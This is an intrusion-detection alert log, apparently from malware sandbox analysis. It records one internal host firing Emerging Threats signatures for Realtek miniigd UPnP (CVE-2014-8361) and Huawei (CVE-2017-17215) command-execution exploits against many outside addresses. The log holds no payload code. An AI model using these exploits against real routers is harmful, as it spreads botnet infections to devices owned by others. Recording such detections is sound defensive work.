ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.131.43.210

Timestamp:	07/20/24-23:01:43.890780
SID:	2027339
Source Port:	60936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.21.97.146

Timestamp:	07/20/24-23:01:42.151857
SID:	2027339
Source Port:	36342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.66.59.209

Timestamp:	07/20/24-23:01:46.359091
SID:	2027339
Source Port:	35414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.1.23.220

Timestamp:	07/20/24-23:01:57.500950
SID:	2027339
Source Port:	34280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.4.55.11

Timestamp:	07/20/24-23:02:04.476708
SID:	2025132
Source Port:	40524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:51.067695
SID:	2831300
Source Port:	50730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.149.133.62

Timestamp:	07/20/24-23:02:14.686790
SID:	2025132
Source Port:	55400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.199.180.176

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	53068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.97.77.234

Timestamp:	07/20/24-23:01:43.014738
SID:	2027339
Source Port:	60576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.59.254.237

Timestamp:	07/20/24-23:01:41.991545
SID:	2025132
Source Port:	55570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.181.179.103

Timestamp:	07/20/24-23:01:04.779951
SID:	2025132
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.197.120.12

Timestamp:	07/20/24-23:01:43.921490
SID:	2831300
Source Port:	47776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.65.88.44

Timestamp:	07/20/24-23:01:50.807258
SID:	2027339
Source Port:	35422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.185.172.90

Timestamp:	07/20/24-23:01:08.590754
SID:	2831300
Source Port:	56354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.225.101.65

Timestamp:	07/20/24-23:01:27.655551
SID:	2829579
Source Port:	48700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.15.162.89

Timestamp:	07/20/24-23:01:42.653654
SID:	2027339
Source Port:	60364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.141.65

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	32836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.143.101.231

Timestamp:	07/20/24-23:01:41.156801
SID:	2027339
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.184.161.191

Timestamp:	07/20/24-23:01:42.751824
SID:	2025132
Source Port:	44208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.64.10.170

Timestamp:	07/20/24-23:01:43.365017
SID:	2025132
Source Port:	51488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.23.248.153

Timestamp:	07/20/24-23:01:42.588824
SID:	2027339
Source Port:	37778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.97.77.234

Timestamp:	07/20/24-23:01:43.197088
SID:	2831300
Source Port:	33372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 176.150.171.140

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	36266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.29.53.230

Timestamp:	07/20/24-23:01:46.661049
SID:	2831300
Source Port:	58624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.79.146.2

Timestamp:	07/20/24-23:01:42.809715
SID:	2831300
Source Port:	57964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.245.141.79

Timestamp:	07/20/24-23:01:52.720668
SID:	2831300
Source Port:	45442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 198.12.218.135

Timestamp:	07/20/24-23:01:52.305893
SID:	2025132
Source Port:	40326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.19.254.108

Timestamp:	07/20/24-23:01:02.059312
SID:	2835222
Source Port:	45912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.6.78.78

Timestamp:	07/20/24-23:01:54.104766
SID:	2025132
Source Port:	44562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.128.52.113

Timestamp:	07/20/24-23:01:24.745266
SID:	2025132
Source Port:	38978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.139.190.105

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	37766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.176.134.213

Timestamp:	07/20/24-23:01:48.885298
SID:	2027339
Source Port:	49372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.184.173.22

Timestamp:	07/20/24-23:01:45.660608
SID:	2831300
Source Port:	35026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.38.204.229

Timestamp:	07/20/24-23:01:40.311124
SID:	2829579
Source Port:	59782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.233.112.21

Timestamp:	07/20/24-23:01:42.442441
SID:	2027339
Source Port:	60254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.192.144.142

Timestamp:	07/20/24-23:01:45.540580
SID:	2025132
Source Port:	53822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.174.160.150

Timestamp:	07/20/24-23:01:47.163877
SID:	2027339
Source Port:	47156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.135.139.61

Timestamp:	07/20/24-23:01:48.965786
SID:	2027339
Source Port:	58068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.190.28.250

Timestamp:	07/20/24-23:02:11.703257
SID:	2025132
Source Port:	48238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.40.74.15

Timestamp:	07/20/24-23:01:31.312311
SID:	2831300
Source Port:	44086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.18.152.238

Timestamp:	07/20/24-23:01:42.325814
SID:	2831300
Source Port:	35148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.238.169.17

Timestamp:	07/20/24-23:01:50.949008
SID:	2027339
Source Port:	60078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.116.51.144

Timestamp:	07/20/24-23:01:40.296076
SID:	2835222
Source Port:	46558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.223.52.236

Timestamp:	07/20/24-23:01:46.755168
SID:	2027339
Source Port:	52648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.23.92

Timestamp:	07/20/24-23:01:00.639012
SID:	2835222
Source Port:	37310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.88.149.60

Timestamp:	07/20/24-23:01:31.328066
SID:	2831300
Source Port:	49834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.16.120.147

Timestamp:	07/20/24-23:01:11.631549
SID:	2829579
Source Port:	49196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.151.187.19

Timestamp:	07/20/24-23:01:42.571884
SID:	2027339
Source Port:	60498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.200.107.177

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	40914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.3.146.221

Timestamp:	07/20/24-23:01:51.266338
SID:	2027339
Source Port:	59852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.71.166.108

Timestamp:	07/20/24-23:01:45.511523
SID:	2027339
Source Port:	49878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.250.27.9

Timestamp:	07/20/24-23:01:42.549328
SID:	2831300
Source Port:	52160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.136.42.217

Timestamp:	07/20/24-23:01:53.420758
SID:	2027339
Source Port:	59858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.131.249.62

Timestamp:	07/20/24-23:01:00.651026
SID:	2829579
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.88.135.139

Timestamp:	07/20/24-23:02:09.627181
SID:	2027339
Source Port:	43442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.32.95.217

Timestamp:	07/20/24-23:01:47.532849
SID:	2025132
Source Port:	32992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.190.237.146

Timestamp:	07/20/24-23:01:49.877061
SID:	2027339
Source Port:	42084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.107.98.141

Timestamp:	07/20/24-23:01:02.054387
SID:	2835222
Source Port:	41240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.129.173.144

Timestamp:	07/20/24-23:01:42.611005
SID:	2027339
Source Port:	42480
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 212.103.196.38

Timestamp:	07/20/24-23:01:32.027082
SID:	2835222
Source Port:	41772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.70.75.159

Timestamp:	07/20/24-23:01:42.374543
SID:	2027339
Source Port:	49044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.81.156.141

Timestamp:	07/20/24-23:01:47.552279
SID:	2027339
Source Port:	51732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.177.125

Timestamp:	07/20/24-23:01:00.633810
SID:	2835222
Source Port:	45072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.29.40

Timestamp:	07/20/24-23:01:04.050503
SID:	2829579
Source Port:	53458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.195.139.119

Timestamp:	07/20/24-23:01:43.813001
SID:	2027339
Source Port:	45390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:45.519802
SID:	2831300
Source Port:	39278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.15.33.52

Timestamp:	07/20/24-23:01:41.354322
SID:	2027339
Source Port:	42528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.214.194.53

Timestamp:	07/20/24-23:02:14.686790
SID:	2027339
Source Port:	40436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.67.248.34

Timestamp:	07/20/24-23:01:51.963339
SID:	2831300
Source Port:	40804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.12.14.153

Timestamp:	07/20/24-23:01:48.842529
SID:	2025132
Source Port:	32888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.43.161

Timestamp:	07/20/24-23:00:57.222164
SID:	2829579
Source Port:	34472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.157.95.90

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	54432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.159.45.191

Timestamp:	07/20/24-23:01:42.507489
SID:	2027339
Source Port:	34838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.25.236.70

Timestamp:	07/20/24-23:01:42.616434
SID:	2831300
Source Port:	32946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.212.171.84

Timestamp:	07/20/24-23:01:42.673065
SID:	2027339
Source Port:	36994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.56.215

Timestamp:	07/20/24-23:01:31.976795
SID:	2835222
Source Port:	53102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.24.31.41

Timestamp:	07/20/24-23:01:41.974742
SID:	2027339
Source Port:	54378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.169.65.78

Timestamp:	07/20/24-23:01:49.660516
SID:	2831300
Source Port:	51048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 149.181.71.228

Timestamp:	07/20/24-23:01:40.301143
SID:	2835222
Source Port:	37048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.170.33.89

Timestamp:	07/20/24-23:01:08.609855
SID:	2027339
Source Port:	60378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.54.73.191

Timestamp:	07/20/24-23:01:42.790680
SID:	2025132
Source Port:	40562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.180.222.83

Timestamp:	07/20/24-23:01:49.120513
SID:	2831300
Source Port:	36432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.105.148.229

Timestamp:	07/20/24-23:01:34.044152
SID:	2835222
Source Port:	40310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.42.34.219

Timestamp:	07/20/24-23:01:41.378556
SID:	2027339
Source Port:	56714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.46.67.74

Timestamp:	07/20/24-23:01:05.141553
SID:	2025132
Source Port:	35296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.28.92.86

Timestamp:	07/20/24-23:01:46.019511
SID:	2025132
Source Port:	33542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.132.194.251

Timestamp:	07/20/24-23:02:02.714716
SID:	2027339
Source Port:	43626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.247.247.18

Timestamp:	07/20/24-23:01:24.444696
SID:	2025132
Source Port:	48644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.159.127.103

Timestamp:	07/20/24-23:01:43.791502
SID:	2027339
Source Port:	55812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.111.30.226

Timestamp:	07/20/24-23:01:44.680845
SID:	2025132
Source Port:	37798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.254.145.51

Timestamp:	07/20/24-23:01:25.383450
SID:	2025132
Source Port:	58750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.44.74

Timestamp:	07/20/24-23:01:27.656128
SID:	2835222
Source Port:	41372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.71.23.107

Timestamp:	07/20/24-23:01:49.663162
SID:	2027339
Source Port:	33472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.161.142.144

Timestamp:	07/20/24-23:01:08.650213
SID:	2027339
Source Port:	44102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.114.160.105

Timestamp:	07/20/24-23:02:00.866395
SID:	2027339
Source Port:	40598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.125.214.226

Timestamp:	07/20/24-23:01:43.474436
SID:	2831300
Source Port:	54350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.31.74.199

Timestamp:	07/20/24-23:01:27.723651
SID:	2835222
Source Port:	52594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.50.56.223

Timestamp:	07/20/24-23:01:31.991336
SID:	2835222
Source Port:	35894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.198.183.23

Timestamp:	07/20/24-23:01:45.660608
SID:	2027339
Source Port:	53702
Destination Port:	52869
